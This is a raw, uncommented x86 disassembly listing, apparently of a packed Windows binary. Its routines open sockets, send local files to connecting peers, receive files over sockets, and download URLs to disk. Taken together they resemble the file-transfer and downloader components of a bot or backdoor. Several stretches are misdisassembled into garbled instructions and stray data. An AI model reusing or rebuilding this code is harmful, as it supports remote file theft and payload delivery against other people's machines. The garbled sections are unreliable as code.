		call	dword_4D124C	; SendMessageA


loc_415E72:				; CODE XREF: sub_415DEA+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415E4B
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415E95
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4D124C	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_415E98
; ---------------------------------------------------------------------------


loc_415E95:				; CODE XREF: sub_415DEA+96j
		mov	[ebp+arg_4], ebx


loc_415E98:				; CODE XREF: sub_415DEA+A9j
		push	[ebp+arg_4]
		call	sub_41BBCB
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415E4B
		push	[ebp+arg_4]
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_415EBF
		push	1
		pop	ebx
		jmp	loc_41601B
; ---------------------------------------------------------------------------


loc_415EBF:				; CODE XREF: sub_415DEA+CBj
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415EDC
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4D124C	; SendMessageA


loc_415EDC:				; CODE XREF: sub_415DEA+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	near ptr sub_41C9B0
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415EF7
		mov	ecx, 0A0h


loc_415EF7:				; CODE XREF: sub_415DEA+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415F01
		push	78h
		pop	eax


loc_415F01:				; CODE XREF: sub_415DEA+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415F46
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4D124C	; SendMessageA


loc_415F46:				; CODE XREF: sub_415DEA+14Aj
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415F63
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4D124C	; SendMessageA


loc_415F63:				; CODE XREF: sub_415DEA+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415FA1
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4D124C	; SendMessageA


loc_415FA1:				; CODE XREF: sub_415DEA+1A3j
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415FBC
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4D124C	; SendMessageA


loc_415FBC:				; CODE XREF: sub_415DEA+1C0j
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415FD5
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4D124C	; SendMessageA


loc_415FD5:				; CODE XREF: sub_415DEA+1DBj
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415FF2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4D124C	; SendMessageA


loc_415FF2:				; CODE XREF: sub_415DEA+1F4j
		push	[ebp+var_4]
		call	sub_41B961
		push	esi
		call	sub_41B961
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_41601B
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4D124C	; SendMessageA


loc_41601B:				; CODE XREF: sub_415DEA+63j
					; sub_415DEA+D0j ...
		push	edi
		call	dword_4D12A0	; DestroyWindow
		mov	eax, ebx


loc_416024:				; CODE XREF: sub_415DEA+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416029	proc near		; CODE XREF: .nsp0:004040B8p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_43E4DC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_4161DB
		push	esi
		push	edi
		mov	eax, offset off_43E4DC
		mov	esi, offset dword_43E4E8
		mov	edi, offset dword_43F6E0


loc_416059:				; CODE XREF: sub_416029+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4D1260	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4D10F0	; RegQueryValueExA
		test	eax, eax
		jnz	loc_4161C1
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_416185
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4301F0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41BBB8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_4161C1
		push	eax


loc_4160D2:				; CODE XREF: sub_416029+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41C1FF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_41617A
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4160FF
		push	[ebp+var_8]
		jmp	short loc_4160D2
; ---------------------------------------------------------------------------


loc_4160FF:				; CODE XREF: sub_416029+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41C650
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41613E
		lea	eax, [ebp+var_70]
		push	offset asc_43F6DC ; "="
		push	eax
		call	sub_41C794
		push	offset asc_43F6DC ; "="
		push	ebx
		call	sub_41C794
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41BF36
		add	esp, 20h
		jmp	short loc_416155
; ---------------------------------------------------------------------------


loc_41613E:				; CODE XREF: sub_416029+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41BF36
		add	esp, 10h


loc_416155:				; CODE XREF: sub_416029+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4157A6
		add	esp, 18h


loc_41617A:				; CODE XREF: sub_416029+B9j
		push	[ebp+var_8]
		call	sub_41B90B
		pop	ecx
		jmp	short loc_4161C1
; ---------------------------------------------------------------------------


loc_416185:				; CODE XREF: sub_416029+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4157A6
		add	esp, 28h


loc_4161C1:				; CODE XREF: sub_416029+60j
					; sub_416029+A2j ...
		push	[ebp+var_4]
		call	dword_4D11CC	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_416059
		pop	edi
		pop	esi


loc_4161DB:				; CODE XREF: sub_416029+19j
		pop	ebx
		leave
		retn
sub_416029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161DE	proc near		; CODE XREF: .nsp0:00416883p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4D1270	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41625A
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4D11F0	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4D1230	; inet_addr
		cmp	eax, esi
		jnz	short loc_41623F
		push	[ebp+arg_0]
		call	dword_4D1274	; gethostbyname
		test	eax, eax
		jz	short loc_41625A
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_41623F:				; CODE XREF: sub_4161DE+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4D1198	; connect
		cmp	eax, esi
		jnz	short loc_41625E
		push	edi
		call	dword_4D1288	; closesocket


loc_41625A:				; CODE XREF: sub_4161DE+1Bj
					; sub_4161DE+58j
		mov	eax, esi
		jmp	short loc_416260
; ---------------------------------------------------------------------------


loc_41625E:				; CODE XREF: sub_4161DE+73j
		mov	eax, edi


loc_416260:				; CODE XREF: sub_4161DE+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_4161DE	endp

; ---------------------------------------------------------------------------
dword_416264	dd 0B8EC8B55h, 11B4h, 5F5FE8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: .nsp0:0040250Co
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 43F75Ch, 5C80E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0FBE85350h, 83FFFF36h, 858D14C4h, 0FFFFEE4Ch
		dd 0F4C0E850h, 75FFFFFFh, 503CE8F0h, 5959FFFFh,	9D0AE856h
		dd 686E0072h, 443398h, 41EBE853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 43F72Ch, 5C1CE850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 97E85350h, 83FFFF36h, 858D14C4h,	0FFFFEE4Ch
		dd 0F45CE850h, 5359FFFFh, 128815FFh, 75FF004Dh,	4FD0E8F0h
		dd 5659FFFFh, 729C9FE8h, 646A3C00h, 706415FFh, 0FF330042h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 0C1E85057h, 83000058h
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 120815FFh,	0C085004Dh
		dd 858D387Eh, 0FFFFEE4Ch, 43080868h, 0B9E85000h, 8D000061h
		dd 0FFEE4C85h, 26E850FFh, 8300003Fh, 0C0850CC4h, 646A1474h
		dd 706415FFh, 0A6A0042h, 0FF4E8DE8h, 59C085FFh,	858DA375h
		dd 0FFFFEE4Ch, 43F6F868h, 57E85000h, 3900005Bh,	5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 35D4E853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFF399E8h
		dd 0FF5359FFh, 4D128815h, 0F075FF00h, 0FF4F0DE8h, 0E85759FFh
		dd 729BDCh
		db 7Eh
; ---------------------------------------------------------------------------


loc_416425:				; DATA XREF: .nsp0:00409265o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4D1270	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_416473
		push	offset unk_43F85C
		jmp	loc_41662C
; ---------------------------------------------------------------------------


loc_416473:				; CODE XREF: .nsp0:00416467j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4D11F0	; ntohs
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4D121C	; bind
		test	eax, eax
		jz	short loc_4164B1
		push	offset unk_43F838
		jmp	loc_41662C
; ---------------------------------------------------------------------------


loc_4164B1:				; CODE XREF: .nsp0:004164A5j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4D1194	; getsockname
		push	dword ptr [ebp-2Eh]
		call	dword_4D1120	; ntohs
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B890
		pop	ecx


loc_4164E3:				; CODE XREF: .nsp0:00416514j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_4164F6
		push	5Fh
		pop	eax
		jmp	short loc_4164F9
; ---------------------------------------------------------------------------


loc_4164F6:				; CODE XREF: .nsp0:004164EFj
		movsx	eax, al


loc_4164F9:				; CODE XREF: .nsp0:004164F4j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B890
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_4164E3
		push	ebx
		push	edi
		call	dword_4D1218	; listen
		test	eax, eax
		jz	short loc_41652C
		push	offset unk_43F75C
		jmp	loc_41662C
; ---------------------------------------------------------------------------


loc_41652C:				; CODE XREF: .nsp0:00416520j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_416556
		push	offset unk_43F818
		jmp	loc_41662C
; ---------------------------------------------------------------------------


loc_416556:				; CODE XREF: .nsp0:0041654Aj
		push	esi
		push	eax
		call	near ptr 0B40000h
		cmp	cl, [ecx+0F500845h]
		mov	bh, 45h
		cld
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AB6A
		pop	ecx
		push	eax
		call	dword_4D1230	; inet_addr
		push	eax
		call	dword_4D11EC	; ntohl
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_43F800
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_4099D2
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4D11D8	; select
		test	eax, eax
		jg	short loc_416606
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_43F7E8
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_4099D2
		jmp	loc_41672A
; ---------------------------------------------------------------------------


loc_416606:				; CODE XREF: .nsp0:004165E4j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4D1284	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_41663F
		push	offset unk_43F7C4


loc_41662C:				; CODE XREF: .nsp0:0041646Ej
					; .nsp0:004164ACj ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	loc_41672D
; ---------------------------------------------------------------------------


loc_41663F:				; CODE XREF: .nsp0:00416625j
		push	edi
		call	dword_4D1288	; closesocket
		cmp	[ebp+8], esi
		jz	loc_4166F1
		mov	edi, 400h


loc_416654:				; CODE XREF: .nsp0:004166E8j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416661
		mov	[ebp-4], eax


loc_416661:				; CODE XREF: .nsp0:0041665Cj
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BC40
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	dword_427120	; SetFilePointer
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	dword_4270E8	; ReadFile
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4D1240	; send
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4D1208	; recv
		cmp	eax, ebx
		jl	near ptr loc_416785+1
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	near ptr loc_416785+1
		sub	[ebp+8], eax
		jnz	loc_416654
		mov	edi, [ebp-18h]


loc_4166F1:				; CODE XREF: .nsp0:00416649j
		push	dword ptr [ebp-8]
		call	dword_42706C	; CloseHandle
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416F2B
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_43F798
		push	eax
		call	sub_41BF36


loc_41672A:				; CODE XREF: .nsp0:00416601j
		add	esp, 14h


loc_41672D:				; CODE XREF: .nsp0:0041663Aj
		cmp	[ebp-50h], esi
		jnz	short loc_416752
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_4099D2
		add	esp, 14h


loc_416752:				; CODE XREF: .nsp0:00416730j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4157A6
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41676A
		push	edi
		call	dword_4D1288	; closesocket


loc_41676A:				; CODE XREF: .nsp0:00416761j
		push	dword ptr [ebp-1F8h]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp-58h]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B40000h


loc_416785:				; CODE XREF: .nsp0:004166D4j
					; .nsp0:004166DFj
		mov	bl, 56h
		mov	esi, offset dword_43F780
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_4099D2
		push	esi
		call	sub_4157A6
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp-58h]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B40000h
		lodsd


loc_4167C7:				; DATA XREF: .nsp0:004022B6o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C1D0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 0B40000h
		dec	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4301F8
		push	eax
		call	sub_41BF36
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416851
		push	offset unk_43F8FC
		jmp	short loc_416897
; ---------------------------------------------------------------------------


loc_416851:				; CODE XREF: .nsp0:00416848j
		push	eax
		call	dword_42706C	; CloseHandle
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BBB8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416879
		push	offset unk_43F8CC
		jmp	short loc_416897
; ---------------------------------------------------------------------------


loc_416879:				; CODE XREF: .nsp0:00416870j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_4161DE
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_4168AA
		push	offset unk_43F8AC


loc_416897:				; CODE XREF: .nsp0:0041684Fj
					; .nsp0:00416877j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	loc_4169A4
; ---------------------------------------------------------------------------


loc_4168AA:				; CODE XREF: .nsp0:00416890j
		mov	esi, 1000h


loc_4168AF:				; CODE XREF: .nsp0:00416915j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D1208	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416976
		cmp	edi, 0FFFFFFFFh
		jz	short loc_416917
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D984
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4D11EC	; ntohl
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D1240	; send
		jmp	short loc_4168AF
; ---------------------------------------------------------------------------


loc_416917:				; CODE XREF: .nsp0:004168DFj
		lea	eax, [ebp-4C4h]
		push	offset dword_43F780
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_4099D2
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-4]
		call	sub_41B90B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp-1Ch]
		call	sub_40B32A
		pop	ecx
		push	1
		call	near ptr 0B40000h
		push	ds


loc_416976:				; CODE XREF: .nsp0:004168D6j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416F2B
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_43F880
		push	eax
		call	sub_41BF36
		add	esp, 1Ch


loc_4169A4:				; CODE XREF: .nsp0:004168A5j
		cmp	[ebp-14h], ebx
		jnz	short loc_4169C9
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_4099D2
		add	esp, 14h


loc_4169C9:				; CODE XREF: .nsp0:004169A7j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4157A6
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4169E4
		push	dword ptr [ebp-4]
		call	sub_41B90B
		pop	ecx


loc_4169E4:				; CODE XREF: .nsp0:004169D9j
		cmp	[ebp+8], ebx
		jbe	short loc_4169F2
		push	dword ptr [ebp+8]
		call	dword_4D1288	; closesocket


loc_4169F2:				; CODE XREF: .nsp0:004169E7j
		push	dword ptr [ebp-1Ch]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B40000h


loc_416A01:				; DATA XREF: .nsp0:00407CD0o
		and	[ebp-75h], dl
		in	al, dx
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4D11A0
		call	dword_4D10F4	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416E8E
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416AC9
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43FAC8
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AAC
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		add	esp, 14h


loc_416AAC:				; CODE XREF: .nsp0:00416A8Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-48h]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B40000h
		stosd


loc_416AC9:				; CODE XREF: .nsp0:00416A6Aj
		xor	edi, edi
		call	dword_4270A8	; GetTickCount
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BBCB
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416AE3:				; CODE XREF: .nsp0:00416BB6j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4D10FC	; InternetReadFile
		cmp	[ebp-34h], esi
		jz	short loc_416B27
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416EF4
		pop	ecx
		pop	ecx


loc_416B27:				; CODE XREF: .nsp0:00416B14j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 0B40000h
		mov	eax, 2273FB3Bh
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416B4F
		mov	eax, [ebp+8]


loc_416B4F:				; CODE XREF: .nsp0:00416B4Aj
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416B72
		cmp	edi, [ebp-3Ch]
		ja	short loc_416BBC


loc_416B72:				; CODE XREF: .nsp0:00416B6Bj
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416B8C
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43FAA0
		jmp	short loc_416B9C
; ---------------------------------------------------------------------------


loc_416B8C:				; CODE XREF: .nsp0:00416B78j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43FA78


loc_416B9C:				; CODE XREF: .nsp0:00416B8Aj
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_443F20
		push	eax
		call	sub_41BF36
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416AE3


